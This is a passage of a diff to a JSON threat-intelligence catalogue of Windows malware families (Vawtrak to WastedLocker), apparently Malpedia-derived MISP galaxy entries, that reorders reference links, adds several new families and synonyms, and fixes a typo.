[ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b662c253-5c87-4ae6-a30e-541db0845f67", "value": "Vawtrak" }, @@ -46807,7 +49405,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.veeam", "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger" ], - "synonyms": [], + "synonyms": [ + "Eamfo" + ], "type": [] }, "uuid": "f85bbceb-dc51-4c11-93a6-21a72255dcaf", @@ -46818,11 +49418,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker", - "https://twitter.com/malwrhunterteam/status/1093136163836174339", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", "https://twitter.com/malwrhunterteam/status/1095024267459284992", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/" + "https://twitter.com/malwrhunterteam/status/1093136163836174339", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" ], "synonyms": [ "Buran", @@ -46846,14 +49446,27 @@ "uuid": "5490d2c7-72db-42cf-a1a4-02be1b3ade5f", "value": "Velso" }, + { + "description": "Ransomware, which appears to be a rebranding of win.cuba.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta", + "https://www.malwarebytes.com/blog/threat-intelligence/2023/03/ransomware-review-march-2023" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bd774e26-f558-444b-abe6-c75868374d5e", + "value": "Vendetta" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom", - "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", "https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/", - "https://blog.malwarelab.pl/posts/venom/" + "https://blog.malwarelab.pl/posts/venom/", + "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html" ], "synonyms": [], "type": [] @@ -46867,6 +49480,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk", "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" ], "synonyms": [], @@ -46906,9 +49522,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/", - "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html" + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" ], "synonyms": [], "type": [] @@ -46917,7 +49533,7 @@ "value": "Vermin" }, { - "description": "Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.", + "description": "Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protected by VMProtect.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder", @@ -46934,12 +49550,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/", "https://twitter.com/GrujaRS/status/1241657443282825217", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html" + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html", + "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" ], "synonyms": [], "type": [] @@ -46952,9 +49568,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", "https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/", "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", "https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/" ], "synonyms": [], @@ -46968,40 +49584,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar", - "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", - "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://twitter.com/GroupIB_GIB/status/1570821174736850945", - "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", - "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", - "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", - "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://asec.ahnlab.com/en/30445/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://eln0ty.github.io/malware%20analysis/vidar/", - "https://intel471.com/blog/privateloader-malware", "https://isc.sans.edu/diary/rss/28468", - "https://asec.ahnlab.com/en/22932/", - "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", - "https://cert.pl/en/posts/2021/10/vidar-campaign/", - "https://threatpost.com/microsoft-help-files-vidar-malware/179078/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/", - "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", - "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", - "https://asec.ahnlab.com/en/30875/", - "https://twitter.com/sisoma2/status/1409816282065743872", - "https://asec.ahnlab.com/ko/25837/", "https://ke-la.com/information-stealers-a-new-landscape/", - "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/" + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", + "https://blog.jaalma.io/vidar-infostealer-analysis/", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", + "https://intel471.com/blog/privateloader-malware", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://kienmanowar.wordpress.com/2022/12/17/quicknote-vidarstealer-analysis/", + "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", + "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", + "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://eln0ty.github.io/malware%20analysis/vidar/", + "https://asec.ahnlab.com/ko/25837/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign", + "https://asec.ahnlab.com/en/22932/", + "https://asec.ahnlab.com/en/30445/", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", + "https://www.cynet.com/blog/cyops-lighthouse-vidar-stealer/", + "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", + "https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", + "https://asec.ahnlab.com/en/30875/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://twitter.com/sisoma2/status/1409816282065743872", + "https://cert.pl/en/posts/2021/10/vidar-campaign/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://www.youtube.com/watch?v=lxdlNOaHJQA", + "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", + "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://www.team-cymru.com/post/darth-vidar-the-dark-side-of-evolving-threat-infrastructure", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://community.emergingthreats.net/t/vidar-stealer-picks-up-steam/271", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://darktrace.com/blog/vidar-info-stealer-malware-distributed-via-malvertising-on-google", + "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://www.youtube.com/watch?v=NI_Yw2t9zoo", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.quorumcyber.com/wp-content/uploads/2023/01/Malware-Analysis-Vidar.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd", + "https://www.kroll.com/en/insights/publications/cyber/threat-actors-google-ads-deploy-vidar-stealer", + "https://threatpost.com/microsoft-help-files-vidar-malware/179078/" ], "synonyms": [], "type": [] @@ -47014,11 +49649,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner", - "https://blog.trendmicro.co.jp/archives/28319", - "https://www.mbsd.jp/research/20210721/blog/", "https://blog.cyble.com/2021/08/02/a-deep-dive-analysis-of-a-new-wiper-malware-disguised-as-tokyo-olympics-document/", + "https://blog.trendmicro.co.jp/archives/28319", "https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games", - "https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/" + "https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/", + "https://www.mbsd.jp/research/20210721/blog/" ], "synonyms": [ "VIGILANT CHECKER" @@ -47041,18 +49676,48 @@ "uuid": "30161733-993f-4a1c-bcc5-7b4f1cd7d9e4", "value": "virdetdoor" }, + { + "description": "Polymorphic parasitic file infecting virus which transforms files into copies of itself. Additionally it uses screen-locking as a ransomware technique.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock", + "https://www.ciberseguridad.eus/sites/default/files/2022-04/bcsc-malware-virlock-tlpwhite_v1242.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017", + "https://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/", + "https://blogs.blackberry.com/en/2019/07/threat-spotlight-virlock-polymorphic-ransomware", + "https://www.virusbulletin.com/virusbulletin/2016/12/vb2015-paper-its-file-infector-its-ransomware-its-virlock/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "86ea83f1-c06c-4ee3-9c4e-df302974f649", + "value": "VirLock" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate", + "https://norfolkinfosec.com/some-notes-on-virtualgate/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48d47a27-464a-4087-b691-574c3b494efb", + "value": "VIRTUALGATE" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut", - "https://chrisdietri.ch/post/virut-resurrects/", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/", - "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", - "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/", - "https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/", "https://www.secureworks.com/research/virut-encryption-analysis", + "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://chrisdietri.ch/post/virut-resurrects/", + "https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/", + "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/", + "https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/", "https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet" ], "synonyms": [], @@ -47079,15 +49744,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm", - "https://community.riskiq.com/article/24759ad2", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics", "https://twitter.com/tccontre18/status/1461386178528264204", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://resources.securityscorecard.com/research/acasestudyofVjw0rm#page=1", + "https://community.riskiq.com/article/24759ad2", + "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics", "https://bazaar.abuse.ch/browse/signature/Vjw0rm/", - "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf" + "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf" ], "synonyms": [], "type": [] @@ -47100,8 +49767,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus", - "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", - "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/" + "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/", + "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/" ], "synonyms": [ "VMzeus", @@ -47114,12 +49781,12 @@ "value": "VM Zeus" }, { - "description": "", + "description": "Malware of this family searches for computers on a network and creates copies of itself in folders with open access. For the program to be activated, the user must first run it on the computer. The code of this malware is written in the Visual Basic programming language and uses obfuscation, which is a distinguishing feature of this family. Code obfuscation complicates attempts by anti-virus software to analyze suspected malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions", "https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions", "http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html" ], "synonyms": [ @@ -47130,6 +49797,20 @@ "uuid": "60f7b1b9-c283-4395-909f-7b8b1731e840", "value": "Vobfus" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants", + "https://github.com/MalGamy/YARA_Rules/blob/main/vohuk.yara" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f2c91bfb-1b22-4399-849a-f07304c2e81f", + "value": "Vohuk" + }, { "description": "Ransomware.", "meta": { @@ -47151,16 +49832,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer", + "https://securelist.com/lazarus-threatneedle/100803/", + "https://www.us-cert.gov/ncas/alerts/TA17-318B", + "https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", + "https://securelist.com/operation-applejeus/87553/", "https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://securelist.com/lazarus-threatneedle/100803/", "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.us-cert.gov/ncas/alerts/TA17-318B", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://securelist.com/operation-applejeus/87553/", - "https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view", - "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", "https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74" ], "synonyms": [ @@ -47169,15 +49851,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bbfd4fb4-3e5a-43bf-b4bb-eaf5ef4fb25f", "value": "Volgmer" }, @@ -47186,8 +49859,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vovalex", - "https://twitter.com/malwrhunterteam/status/1351808079164276736", - "https://twitter.com/VK_Intel/status/1355196321964109824" + "https://twitter.com/VK_Intel/status/1355196321964109824", + "https://twitter.com/malwrhunterteam/status/1351808079164276736" ], "synonyms": [], "type": [] @@ -47213,6 +49886,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://blogs.jpcert.or.jp/en/2022/07/vsingle.html", "https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html" ], @@ -47227,9 +49901,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer", + "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis", "http://www.xylibox.com/2013/01/vskimmer.html", - "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/", - "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis" + "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/" ], "synonyms": [], "type": [] @@ -47294,42 +49968,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor", - "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", - "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", - "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", - "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.youtube.com/watch?v=Q90uZS3taG0", - "https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", - "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", - "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/", - "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", - 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"https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", "https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58", + "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", + "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", - "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf" + "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html", + "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/", + "https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html", + "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984", + "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", + "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/", + "https://github.com/0xZuk0/rules-of-yaras/blob/main/reports/Wannacry%20Ransomware%20Report.pdf" ], "synonyms": [ "Wana Decrypt0r", @@ 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"https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://ioc.hatenablog.com/entry/2020/08/16/132853", + "https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US", + "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", + "https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf", + 